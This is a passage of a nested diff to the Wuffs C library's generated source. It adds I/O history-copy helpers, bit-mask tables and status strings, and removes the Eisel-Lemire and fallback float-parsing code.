-+ uint32_t distance) { -+ uint8_t* p = *ptr_iop_w; -+ uint8_t* q = p - distance; -+ uint64_t x = p[-1]; -+ x |= x << 8; -+ x |= x << 16; -+ x |= x << 32; -+ uint32_t n = length; -+ while (1) { -+ wuffs_base__poke_u64le__no_bounds_check(p, x); -+ if (n <= 8) { -+ p += n; -+ q += n; -+ break; - } -+ p += 8; -+ q += 8; -+ n -= 8; - } -+ *ptr_iop_w = p; -+ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); - } - --// -------- -- --// wuffs_base__private_implementation__parse_number_f64_eisel_lemire produces --// the IEEE 754 double-precision value for an exact mantissa and base-10 --// exponent. For example: --// - when parsing "12345.678e+02", man is 12345678 and exp10 is -1. --// - when parsing "-12", man is 12 and exp10 is 0. Processing the leading --// minus sign is the responsibility of the caller, not this function. -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast -+// is like the -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function -+// above, but copies 8 byte chunks at a time. - // --// On success, it returns a non-negative int64_t such that the low 63 bits hold --// the 11-bit exponent and 52-bit mantissa. -+// In terms of number of bytes copied, length is rounded up to a multiple of 8. -+// As a special case, a zero length rounds up to 8 (even though 0 is already a -+// multiple of 8), since there is always at least one 8 byte chunk copied. - // --// On failure, it returns a negative value. -+// In terms of advancing *ptr_iop_w, length is not rounded up. - // --// The algorithm is based on an original idea by Michael Eisel that was refined --// by Daniel Lemire. See --// https://lemire.me/blog/2020/03/10/fast-float-parsing-in-practice/ --// and --// https://nigeltao.github.io/blog/2020/eisel-lemire.html -+// The caller needs to prove that: -+// - length >= 1 -+// - (length + 8) <= (io2_w - *ptr_iop_w) -+// - distance >= 8 -+// - distance <= (*ptr_iop_w - io0_w) -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ uint32_t distance) { -+ uint8_t* p = *ptr_iop_w; -+ uint8_t* q = p - distance; -+ uint32_t n = length; -+ while (1) { -+ memcpy(p, q, 8); -+ if (n <= 8) { -+ p += n; -+ break; -+ } -+ p += 8; -+ q += 8; -+ n -= 8; -+ } -+ *ptr_iop_w = p; -+ return length; -+} -+ -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp -+// is like the -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function -+// above, but copies 8 byte chunks at a time. It also returns the cusp: a byte -+// pair (as a u16le) being the last byte of and next byte after the copied -+// history. - // --// Preconditions: --// - man is non-zero. --// - exp10 is in the range [-307 ..= 288], the same range of the --// wuffs_base__private_implementation__powers_of_10 array. -+// In terms of number of bytes copied, length is rounded up to a multiple of 8. -+// As a special case, a zero length rounds up to 8 (even though 0 is already a -+// multiple of 8), since there is always at least one 8 byte chunk copied. - // --// The exp10 range (and the fact that man is in the range [1 ..= UINT64_MAX], --// approximately [1 ..= 1.85e+19]) means that (man * (10 ** exp10)) is in the --// range [1e-307 ..= 1.85e+307]. This is entirely within the range of normal --// (neither subnormal nor non-finite) f64 values: DBL_MIN and DBL_MAX are --// approximately 2.23e–308 and 1.80e+308. --static int64_t // --wuffs_base__private_implementation__parse_number_f64_eisel_lemire( -- uint64_t man, -- int32_t exp10) { -- // Look up the (possibly truncated) base-2 representation of (10 ** exp10). -- // The look-up table was constructed so that it is already normalized: the -- // table entry's mantissa's MSB (most significant bit) is on. -- const uint64_t* po10 = -- &wuffs_base__private_implementation__powers_of_10[exp10 + 307][0]; -+// In terms of advancing *ptr_iop_w, length is not rounded up. -+// -+// The caller needs to prove that: -+// - length >= 1 -+// - (length + 8) <= (io2_w - *ptr_iop_w) -+// - distance >= 8 -+// - distance <= (*ptr_iop_w - io0_w) -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ uint32_t distance) { -+ uint8_t* p = *ptr_iop_w; -+ uint8_t* q = p - distance; -+ uint32_t n = length; -+ while (1) { -+ memcpy(p, q, 8); -+ if (n <= 8) { -+ p += n; -+ q += n; -+ break; -+ } -+ p += 8; -+ q += 8; -+ n -= 8; -+ } -+ *ptr_iop_w = p; -+ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); -+} - -- // Normalize the man argument. The (man != 0) precondition means that a -- // non-zero bit exists. -- uint32_t clz = wuffs_base__count_leading_zeroes_u64(man); -- man <<= clz; -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_reader( -+ uint8_t** ptr_iop_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ const uint8_t** ptr_iop_r, -+ const uint8_t* io2_r) { -+ uint8_t* iop_w = *ptr_iop_w; -+ size_t n = length; -+ if (n > ((size_t)(io2_w - iop_w))) { -+ n = (size_t)(io2_w - iop_w); -+ } -+ const uint8_t* iop_r = *ptr_iop_r; -+ if (n > ((size_t)(io2_r - iop_r))) { -+ n = (size_t)(io2_r - iop_r); -+ } -+ if (n > 0) { -+ memmove(iop_w, iop_r, n); -+ *ptr_iop_w += n; -+ *ptr_iop_r += n; -+ } -+ return (uint32_t)(n); -+} - -- // Calculate the return value's base-2 exponent. We might tweak it by ±1 -- // later, but its initial value comes from a linear scaling of exp10, -- // converting from power-of-10 to power-of-2, and adjusting by clz. -- // -- // The magic constants are: -- // - 1087 = 1023 + 64. The 1023 is the f64 exponent bias. The 64 is because -- // the look-up table uses 64-bit mantissas. -- // - 217706 is such that the ratio 217706 / 65536 ≈ 3.321930 is close enough -- // (over the practical range of exp10) to log(10) / log(2) ≈ 3.321928. -- // - 65536 = 1<<16 is arbitrary but a power of 2, so division is a shift. -- // -- // Equality of the linearly-scaled value and the actual power-of-2, over the -- // range of exp10 arguments that this function accepts, is confirmed by -- // script/print-mpb-powers-of-10.go -- uint64_t ret_exp2 = -- ((uint64_t)(((217706 * exp10) >> 16) + 1087)) - ((uint64_t)clz); -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ uint8_t** ptr_iop_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ wuffs_base__slice_u8 src) { -+ uint8_t* iop_w = *ptr_iop_w; -+ size_t n = src.len; -+ if (n > length) { -+ n = length; -+ } -+ if (n > ((size_t)(io2_w - iop_w))) { -+ n = (size_t)(io2_w - iop_w); -+ } -+ if (n > 0) { -+ memmove(iop_w, src.ptr, n); -+ *ptr_iop_w += n; -+ } -+ return (uint32_t)(n); -+} - -- // Multiply the two mantissas. Normalization means that both mantissas are at -- // least (1<<63), so the 128-bit product must be at least (1<<126). The high -- // 64 bits of the product, x_hi, must therefore be at least (1<<62). -- // -- // As a consequence, x_hi has either 0 or 1 leading zeroes. Shifting x_hi -- // right by either 9 or 10 bits (depending on x_hi's MSB) will therefore -- // leave the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. -- wuffs_base__multiply_u64__output x = wuffs_base__multiply_u64(man, po10[1]); -- uint64_t x_hi = x.hi; -- uint64_t x_lo = x.lo; -+static inline wuffs_base__io_buffer* // -+wuffs_private_impl__io_writer__set(wuffs_base__io_buffer* b, -+ uint8_t** ptr_iop_w, -+ uint8_t** ptr_io0_w, -+ uint8_t** ptr_io1_w, -+ uint8_t** ptr_io2_w, -+ wuffs_base__slice_u8 data, -+ uint64_t history_position) { -+ b->data = data; -+ b->meta.wi = 0; -+ b->meta.ri = 0; -+ b->meta.pos = history_position; -+ b->meta.closed = false; - -- // Before we shift right by at least 9 bits, recall that the look-up table -- // entry was possibly truncated. We have so far only calculated a lower bound -- // for the product (man * e), where e is (10 ** exp10). The upper bound would -- // add a further (man * 1) to the 128-bit product, which overflows the lower -- // 64-bit limb if ((x_lo + man) < man). -- // -- // If overflow occurs, that adds 1 to x_hi. Since we're about to shift right -- // by at least 9 bits, that carried 1 can be ignored unless the higher 64-bit -- // limb's low 9 bits are all on. -- // -- // For example, parsing "9999999999999999999" will take the if-true branch -- // here, since: -- // - x_hi = 0x4563918244F3FFFF -- // - x_lo = 0x8000000000000000 -- // - man = 0x8AC7230489E7FFFF -- if (((x_hi & 0x1FF) == 0x1FF) && ((x_lo + man) < man)) { -- // Refine our calculation of (man * e). Before, our approximation of e used -- // a "low resolution" 64-bit mantissa. Now use a "high resolution" 128-bit -- // mantissa. We've already calculated x = (man * bits_0_to_63_incl_of_e). -- // Now calculate y = (man * bits_64_to_127_incl_of_e). -- wuffs_base__multiply_u64__output y = wuffs_base__multiply_u64(man, po10[0]); -- uint64_t y_hi = y.hi; -- uint64_t y_lo = y.lo; -+ *ptr_iop_w = data.ptr; -+ *ptr_io0_w = data.ptr; -+ *ptr_io1_w = data.ptr; -+ *ptr_io2_w = data.ptr + data.len; - -- // Merge the 128-bit x and 128-bit y, which overlap by 64 bits, to -- // calculate the 192-bit product of the 64-bit man by the 128-bit e. -- // As we exit this if-block, we only care about the high 128 bits -- // (merged_hi and merged_lo) of that 192-bit product. -- // -- // For example, parsing "1.234e-45" will take the if-true branch here, -- // since: -- // - x_hi = 0x70B7E3696DB29FFF -- // - x_lo = 0xE040000000000000 -- // - y_hi = 0x33718BBEAB0E0D7A -- // - y_lo = 0xA880000000000000 -- uint64_t merged_hi = x_hi; -- uint64_t merged_lo = x_lo + y_hi; -- if (merged_lo < x_lo) { -- merged_hi++; // Carry the overflow bit. -- } -+ return b; -+} - -- // The "high resolution" approximation of e is still a lower bound. Once -- // again, see if the upper bound is large enough to produce a different -- // result. This time, if it does, give up instead of reaching for an even -- // more precise approximation to e. -- // -- // This three-part check is similar to the two-part check that guarded the -- // if block that we're now in, but it has an extra term for the middle 64 -- // bits (checking that adding 1 to merged_lo would overflow). -- // -- // For example, parsing "5.9604644775390625e-8" will take the if-true -- // branch here, since: -- // - merged_hi = 0x7FFFFFFFFFFFFFFF -- // - merged_lo = 0xFFFFFFFFFFFFFFFF -- // - y_lo = 0x4DB3FFC120988200 -- // - man = 0xD3C21BCECCEDA100 -- if (((merged_hi & 0x1FF) == 0x1FF) && ((merged_lo + 1) == 0) && -- (y_lo + man < man)) { -- return -1; -- } -+// ---------------- I/O (Utility) - -- // Replace the 128-bit x with merged. -- x_hi = merged_hi; -- x_lo = merged_lo; -- } -+#define wuffs_base__utility__empty_io_reader wuffs_base__empty_io_reader -+#define wuffs_base__utility__empty_io_writer wuffs_base__empty_io_writer - -- // As mentioned above, shifting x_hi right by either 9 or 10 bits will leave -- // the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. If the -- // MSB (before shifting) was on, adjust ret_exp2 for the larger shift. -- // -- // Having bit 53 on (and higher bits off) means that ret_mantissa is a 54-bit -- // number. -- uint64_t msb = x_hi >> 63; -- uint64_t ret_mantissa = x_hi >> (msb + 9); -- ret_exp2 -= 1 ^ msb; -+// ---------------- Tokens - -- // IEEE 754 rounds to-nearest with ties rounded to-even. Rounding to-even can -- // be tricky. If we're half-way between two exactly representable numbers -- // (x's low 73 bits are zero and the next 2 bits that matter are "01"), give -- // up instead of trying to pick the winner. -- // -- // Technically, we could tighten the condition by changing "73" to "73 or 74, -- // depending on msb", but a flat "73" is simpler. -- // -- // For example, parsing "1e+23" will take the if-true branch here, since: -- // - x_hi = 0x54B40B1F852BDA00 -- // - ret_mantissa = 0x002A5A058FC295ED -- if ((x_lo == 0) && ((x_hi & 0x1FF) == 0) && ((ret_mantissa & 3) == 1)) { -- return -1; -- } -+// ---------------- Tokens (Utility) - -- // If we're not halfway then it's rounding to-nearest. Starting with a 54-bit -- // number, carry the lowest bit (bit 0) up if it's on. Regardless of whether -- // it was on or off, shifting right by one then produces a 53-bit number. If -- // carrying up overflowed, shift again. -- ret_mantissa += ret_mantissa & 1; -- ret_mantissa >>= 1; -- // This if block is equivalent to (but benchmarks slightly faster than) the -- // following branchless form: -- // uint64_t overflow_adjustment = ret_mantissa >> 53; -- // ret_mantissa >>= overflow_adjustment; -- // ret_exp2 += overflow_adjustment; -- // -- // For example, parsing "7.2057594037927933e+16" will take the if-true -- // branch here, since: -- // - x_hi = 0x7FFFFFFFFFFFFE80 -- // - ret_mantissa = 0x0020000000000000 -- if ((ret_mantissa >> 53) > 0) { -- ret_mantissa >>= 1; -- ret_exp2++; -- } -+// ---------------- Memory Allocation - -- // Starting with a 53-bit number, IEEE 754 double-precision normal numbers -- // have an implicit mantissa bit. Mask that away and keep the low 52 bits. -- ret_mantissa &= 0x000FFFFFFFFFFFFF; -+// ---------------- Images - -- // Pack the bits and return. -- return ((int64_t)(ret_mantissa | (ret_exp2 << 52))); --} -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( -+ const wuffs_base__pixel_swizzler* p, -+ uint32_t up_to_num_pixels, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ const uint8_t** ptr_iop_r, -+ const uint8_t* io2_r); - --// -------- -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ const uint8_t** ptr_iop_r, -+ const uint8_t* io2_r); - --static wuffs_base__result_f64 // --wuffs_base__private_implementation__parse_number_f64_special( -- wuffs_base__slice_u8 s, -- uint32_t options) { -- do { -- if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { -- goto fail; -- } -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ uint64_t num_pixels); - -- uint8_t* p = s.ptr; -- uint8_t* q = s.ptr + s.len; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status // -+wuffs_base__pixel_swizzler__swizzle_ycck( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_buffer* dst, -+ wuffs_base__slice_u8 dst_palette, -+ uint32_t x_min_incl, -+ uint32_t x_max_excl, -+ uint32_t y_min_incl, -+ uint32_t y_max_excl, -+ wuffs_base__slice_u8 src0, -+ wuffs_base__slice_u8 src1, -+ wuffs_base__slice_u8 src2, -+ wuffs_base__slice_u8 src3, -+ uint32_t width0, -+ uint32_t width1, -+ uint32_t width2, -+ uint32_t width3, -+ uint32_t height0, -+ uint32_t height1, -+ uint32_t height2, -+ uint32_t height3, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t stride3, -+ uint8_t h0, -+ uint8_t h1, -+ uint8_t h2, -+ uint8_t h3, -+ uint8_t v0, -+ uint8_t v1, -+ uint8_t v2, -+ uint8_t v3, -+ bool is_rgb_or_cmyk, -+ bool triangle_filter_for_2to1, -+ wuffs_base__slice_u8 scratch_buffer_2k); - -- for (; (p < q) && (*p == '_'); p++) { -- } -- if (p >= q) { -- goto fail; -- } -+// ---------------- Images (Utility) - -- // Parse sign. -- bool negative = false; -- do { -- if (*p == '+') { -- p++; -- } else if (*p == '-') { -- negative = true; -- p++; -- } else { -- break; -- } -- for (; (p < q) && (*p == '_'); p++) { -- } -- } while (0); -- if (p >= q) { -- goto fail; -- } -+#define wuffs_base__utility__make_pixel_format wuffs_base__make_pixel_format - -- bool nan = false; -- switch (p[0]) { -- case 'I': -- case 'i': -- if (((q - p) < 3) || // -- ((p[1] != 'N') && (p[1] != 'n')) || // -- ((p[2] != 'F') && (p[2] != 'f'))) { -- goto fail; -- } -- p += 3; -+// ---------------- String Conversions - -- if ((p >= q) || (*p == '_')) { -- break; -- } else if (((q - p) < 5) || // -- ((p[0] != 'I') && (p[0] != 'i')) || // -- ((p[1] != 'N') && (p[1] != 'n')) || // -- ((p[2] != 'I') && (p[2] != 'i')) || // -- ((p[3] != 'T') && (p[3] != 't')) || // -- ((p[4] != 'Y') && (p[4] != 'y'))) { -- goto fail; -- } -- p += 5; -+// ---------------- Unicode and UTF-8 - -- if ((p >= q) || (*p == '_')) { -- break; -- } -- goto fail; -+// ---------------- - -- case 'N': -- case 'n': -- if (((q - p) < 3) || // -- ((p[1] != 'A') && (p[1] != 'a')) || // -- ((p[2] != 'N') && (p[2] != 'n'))) { -- goto fail; -- } -- p += 3; -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__CORE) - -- if ((p >= q) || (*p == '_')) { -- nan = true; -- break; -- } -- goto fail; -+const uint8_t wuffs_private_impl__low_bits_mask__u8[8] = { -+ 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, -+}; - -- default: -- goto fail; -- } -+const uint16_t wuffs_private_impl__low_bits_mask__u16[16] = { -+ 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, -+ 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, -+}; - -- // Finish. -- for (; (p < q) && (*p == '_'); p++) { -- } -- if (p != q) { -- goto fail; -- } -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( -- (nan ? 0x7FFFFFFFFFFFFFFF : 0x7FF0000000000000) | -- (negative ? 0x8000000000000000 : 0)); -- return ret; -- } while (0); -+const uint32_t wuffs_private_impl__low_bits_mask__u32[32] = { -+ 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, -+ 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, -+ 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, -+ 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, -+ 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, -+ 0x3FFFFFFF, 0x7FFFFFFF, -+}; - --fail: -- do { -- wuffs_base__result_f64 ret; -- ret.status.repr = wuffs_base__error__bad_argument; -- ret.value = 0; -- return ret; -- } while (0); --} -+const uint64_t wuffs_private_impl__low_bits_mask__u64[64] = { -+ 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, -+ 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, -+ 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, -+ 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, -+ 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, -+ 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, -+ 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, -+ 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, -+ 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, -+ 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, -+ 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, -+ 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, -+ 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, -+ 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, -+ 0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, -+ 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, -+ 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, -+ 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, -+ 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, -+ 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, -+ 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, -+ 0x7FFFFFFFFFFFFFFF, -+}; - --WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // --wuffs_base__private_implementation__high_prec_dec__to_f64( -- wuffs_base__private_implementation__high_prec_dec* h, -- uint32_t options) { -- do { -- // powers converts decimal powers of 10 to binary powers of 2. For example, -- // (10000 >> 13) is 1. It stops before the elements exceed 60, also known -- // as WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. -- // -- // This rounds down (1<<13 is a lower bound for 1e4). Adding 1 to the array -- // element value rounds up (1<<14 is an upper bound for 1e4) while staying -- // at or below WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. -- // -- // When starting in the range [1e+1 .. 1e+2] (i.e. h->decimal_point == +2), -- // powers[2] == 6 and so: -- // - Right shifting by 6+0 produces the range [10/64 .. 100/64] = -- // [0.156250 .. 1.56250]. The resultant h->decimal_point is +0 or +1. -- // - Right shifting by 6+1 produces the range [10/128 .. 100/128] = -- // [0.078125 .. 0.78125]. The resultant h->decimal_point is -1 or -0. -- // -- // When starting in the range [1e-3 .. 1e-2] (i.e. h->decimal_point == -2), -- // powers[2] == 6 and so: -- // - Left shifting by 6+0 produces the range [0.001*64 .. 0.01*64] = -- // [0.064 .. 0.64]. The resultant h->decimal_point is -1 or -0. -- // - Left shifting by 6+1 produces the range [0.001*128 .. 0.01*128] = -- // [0.128 .. 1.28]. The resultant h->decimal_point is +0 or +1. -- // -- // Thus, when targeting h->decimal_point being +0 or +1, use (powers[n]+0) -- // when right shifting but (powers[n]+1) when left shifting. -- static const uint32_t num_powers = 19; -- static const uint8_t powers[19] = { -- 0, 3, 6, 9, 13, 16, 19, 23, 26, 29, // -- 33, 36, 39, 43, 46, 49, 53, 56, 59, // -- }; -+const uint32_t wuffs_private_impl__pixel_format__bits_per_channel[16] = { -+ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, -+ 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, -+}; - -- // Handle zero and obvious extremes. The largest and smallest positive -- // finite f64 values are approximately 1.8e+308 and 4.9e-324. -- if ((h->num_digits == 0) || (h->decimal_point < -326)) { -- goto zero; -- } else if (h->decimal_point > 310) { -- goto infinity; -- } -+const char wuffs_base__note__i_o_redirect[] = "@base: I/O redirect"; -+const char wuffs_base__note__end_of_data[] = "@base: end of data"; -+const char wuffs_base__note__metadata_reported[] = "@base: metadata reported"; -+const char wuffs_base__suspension__even_more_information[] = "$base: even more information"; -+const char wuffs_base__suspension__mispositioned_read[] = "$base: mispositioned read"; -+const char wuffs_base__suspension__mispositioned_write[] = "$base: mispositioned write"; -+const char wuffs_base__suspension__short_read[] = "$base: short read"; -+const char wuffs_base__suspension__short_workbuf[] = "$base: short workbuf"; -+const char wuffs_base__suspension__short_write[] = "$base: short write"; -+const char wuffs_base__error__bad_i_o_position[] = "#base: bad I/O position"; -+const char wuffs_base__error__bad_argument_length_too_short[] = "#base: bad argument (length too short)"; -+const char wuffs_base__error__bad_argument[] = "#base: bad argument"; -+const char wuffs_base__error__bad_call_sequence[] = "#base: bad call sequence"; -+const char wuffs_base__error__bad_data[] = "#base: bad data"; -+const char wuffs_base__error__bad_receiver[] = "#base: bad receiver"; -+const char wuffs_base__error__bad_restart[] = "#base: bad restart"; -+const char wuffs_base__error__bad_sizeof_receiver[] = "#base: bad sizeof receiver"; -+const char wuffs_base__error__bad_vtable[] = "#base: bad vtable"; -+const char wuffs_base__error__bad_workbuf_length[] = "#base: bad workbuf length"; -+const char wuffs_base__error__bad_wuffs_version[] = "#base: bad wuffs version"; -+const char wuffs_base__error__cannot_return_a_suspension[] = "#base: cannot return a suspension"; -+const char wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist[] = "#base: disabled by WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST"; -+const char wuffs_base__error__disabled_by_previous_error[] = "#base: disabled by previous error"; -+const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[] = "#base: initialize falsely claimed already zeroed"; -+const char wuffs_base__error__initialize_not_called[] = "#base: initialize not called"; -+const char wuffs_base__error__insufficient_history[] = "#base: insufficient history"; -+const char wuffs_base__error__interleaved_coroutine_calls[] = "#base: interleaved coroutine calls"; -+const char wuffs_base__error__no_more_information[] = "#base: no more information"; -+const char wuffs_base__error__not_enough_data[] = "#base: not enough data"; -+const char wuffs_base__error__out_of_bounds[] = "#base: out of bounds"; -+const char wuffs_base__error__unsupported_image_dimension[] = "#base: unsupported image dimension"; -+const char wuffs_base__error__unsupported_method[] = "#base: unsupported method"; -+const char wuffs_base__error__unsupported_option[] = "#base: unsupported option"; -+const char wuffs_base__error__unsupported_pixel_swizzler_option[] = "#base: unsupported pixel swizzler option"; -+const char wuffs_base__error__too_much_data[] = "#base: too much data"; - -- // Try the fast Eisel-Lemire algorithm again. Calculating the (man, exp10) -- // pair from the high_prec_dec h is more correct but slower than the -- // approach taken in wuffs_base__parse_number_f64. The latter is optimized -- // for the common cases (e.g. assuming no underscores or a leading '+' -- // sign) rather than the full set of cases allowed by the Wuffs API. -- // -- // When we have 19 or fewer mantissa digits, run Eisel-Lemire once (trying -- // for an exact result). When we have more than 19 mantissa digits, run it -- // twice to get a lower and upper bound. We still have an exact result -- // (within f64's rounding margin) if both bounds are equal (and valid). -- uint32_t i_max = h->num_digits; -- if (i_max > 19) { -- i_max = 19; -- } -- int32_t exp10 = h->decimal_point - ((int32_t)i_max); -- if ((-307 <= exp10) && (exp10 <= 288)) { -- uint64_t man = 0; -- uint32_t i; -- for (i = 0; i < i_max; i++) { -- man = (10 * man) + h->digits[i]; -- } -- while (man != 0) { // The 'while' is just an 'if' that we can 'break'. -- int64_t r0 = -- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( -- man + 0, exp10); -- if (r0 < 0) { -- break; -- } else if (h->num_digits > 19) { -- int64_t r1 = -- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( -- man + 1, exp10); -- if (r1 != r0) { -- break; -- } -- } -- wuffs_base__result_f64 ret; -- ret.status.repr = NULL; -- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( -- ((uint64_t)r0) | (((uint64_t)(h->negative)) << 63)); -- return ret; -- } -- } -+const char wuffs_base__hasher_u32__vtable_name[] = "{vtable}wuffs_base__hasher_u32"; -+const char wuffs_base__hasher_u64__vtable_name[] = "{vtable}wuffs_base__hasher_u64"; -+const char wuffs_base__hasher_bitvec256__vtable_name[] = "{vtable}wuffs_base__hasher_bitvec256"; -+const char wuffs_base__image_decoder__vtable_name[] = "{vtable}wuffs_base__image_decoder"; -+const char wuffs_base__io_transformer__vtable_name[] = "{vtable}wuffs_base__io_transformer"; -+const char wuffs_base__token_decoder__vtable_name[] = "{vtable}wuffs_base__token_decoder"; - -- // When Eisel-Lemire fails, fall back to Simple Decimal Conversion. See -- // https://nigeltao.github.io/blog/2020/parse-number-f64-simple.html -- // -- // Scale by powers of 2 until we're in the range [0.1 .. 10]. Equivalently, -- // that h->decimal_point is +0 or +1. -- // -- // First we shift right while at or above 10... -- const int32_t f64_bias = -1023; -- int32_t exp2 = 0; -- while (h->decimal_point > 1) { -- uint32_t n = (uint32_t)(+h->decimal_point); -- uint32_t shift = -- (n < num_powers) -- ? powers[n] -- : WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; -- -- wuffs_base__private_implementation__high_prec_dec__small_rshift(h, shift); -- if (h->decimal_point < -- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { -- goto zero; -- } -- exp2 += (int32_t)shift; -- } -- // ...then we shift left while below 0.1. -- while (h->decimal_point < 0) { -- uint32_t shift; -- uint32_t n = (uint32_t)(-h->decimal_point); -- shift = (n < num_powers) -- // The +1 is per "when targeting h->decimal_point being +0 or -- // +1... when left shifting" in the powers comment above. -- ? (powers[n] + 1) -- : WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__CORE) - -- wuffs_base__private_implementation__high_prec_dec__small_lshift(h, shift); -- if (h->decimal_point > -- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { -- goto infinity; -- } -- exp2 -= (int32_t)shift; -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) - -- // To get from "in the range [0.1 .. 10]" to "in the range [1 .. 2]" (which -- // will give us our exponent in base-2), the mantissa's first 3 digits will -- // determine the final left shift, equal to 52 (the number of explicit f64 -- // bits) plus an additional adjustment. -- int man3 = (100 * h->digits[0]) + -- ((h->num_digits > 1) ? (10 * h->digits[1]) : 0) + -- ((h->num_digits > 2) ? h->digits[2] : 0); -- int32_t additional_lshift = 0; -- if (h->decimal_point == 0) { // The value is in [0.1 